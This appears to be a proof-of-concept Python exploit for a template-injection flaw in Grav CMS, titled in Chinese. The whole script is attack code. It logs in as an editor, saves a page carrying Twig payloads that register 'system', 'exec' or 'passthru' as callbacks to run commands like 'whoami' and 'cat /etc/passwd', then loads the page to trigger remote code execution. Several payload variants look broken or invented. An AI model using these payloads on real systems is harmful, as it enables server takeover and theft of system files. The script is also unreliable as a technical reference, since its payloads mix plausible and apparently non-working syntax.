CVE-2025-66299: Grav CMS 服务器端模板注入远程代码执行漏洞

# CVE-2025-66299 PoC - Grav CMS SSTI # Author: Security Researcher # Target: Grav CMS < 1.8.0-beta.27 import requests import re from bs4 import BeautifulSoup TARGET_URL = "http://target-grav-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_csrf_token(session, url): """Extract CSRF token from login page""" response = session.get(f"{url}/login") soup = BeautifulSoup(response.text, 'html.parser') csrf_input = soup.find('input', {'name': 'csrf_token'}) return csrf_input['value'] if csrf_input else None def login(session, username, password): """Login to Grav CMS with editor credentials""" login_url = f"{TARGET_URL}/login" csrf_token = get_csrf_token(session, TARGET_URL) data = { 'username': username, 'password': password, 'csrf_token': csrf_token } return session.post(login_url, data=data) def inject_ssti_payload(session): """Inject SSTI payload to achieve RCE""" # Step 1: Access Twig object and bypass sandbox # This payload accesses system.twig.safe_filters ssti_payload_step1 = """ {{_self.env.registerUndefinedFilterCallback('exec')}} {{_self.env.getFilter('id')}} """ # Step 2: Execute system command using the bypassed filter # This will execute 'id' command on the server rce_payload = """ {{_self.env.registerUndefinedFilterCallback('system')}} {{_self.env.getFilter('whoami')}} """ # Alternative payload using attribute access alt_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getGlobals()}} {{_self.env.extensions['Twig_Extension_Sandbox'].setGlobals({'test': _self.env.registerUndefinedFilterCallback('passthru')})}} {{_self.env.getFilter('cat /etc/passwd')}} """ # More direct approach - accessing safe_filters direct_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self, 'env')}} {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self.env, 'system')}} {{dump(_self.env.system)}} """ # Final RCE payload final_payload = """ {% set filter = _self.env.getExtension('Twig_Extension_Sandbox') %} {% set safe_filters = attribute(_self.env, 'system').twig.safe_filters %} {% do safe_filters.__class__.getMethod('exec')(null, 'id') %} {{attribute(_self.env, 'system').twig.safe_filters}} """ # Edit page with payload edit_url = f"{TARGET_URL}/admin/pages/new-page" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } page_data = { 'title': 'Malicious Page', 'content': rce_payload, 'folder': 'test-ssti', 'template': 'default', 'action': 'save' } response = session.post(edit_url, data=page_data, headers=headers) return response def main(): """Main exploit function""" session = requests.Session() print("[*] CVE-2025-66299 - Grav CMS SSTI RCE Exploit") print(f"[*] Target: {TARGET_URL}") # Login with editor account print("[*] Logging in with editor credentials...") login_result = login(session, USERNAME, PASSWORD) if login_result.status_code == 200: print("[+] Login successful!") # Inject SSTI payload print("[*] Injecting SSTI payload...") inject_result = inject_ssti_payload(session) if inject_result.status_code == 200: print("[+] Payload injected successfully!") print("[*] Visit the page to trigger RCE") # Trigger the payload by visiting the page page_url = f"{TARGET_URL}/test-ssti" trigger = session.get(page_url) print(f"[*] Command output: {trigger.text}") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()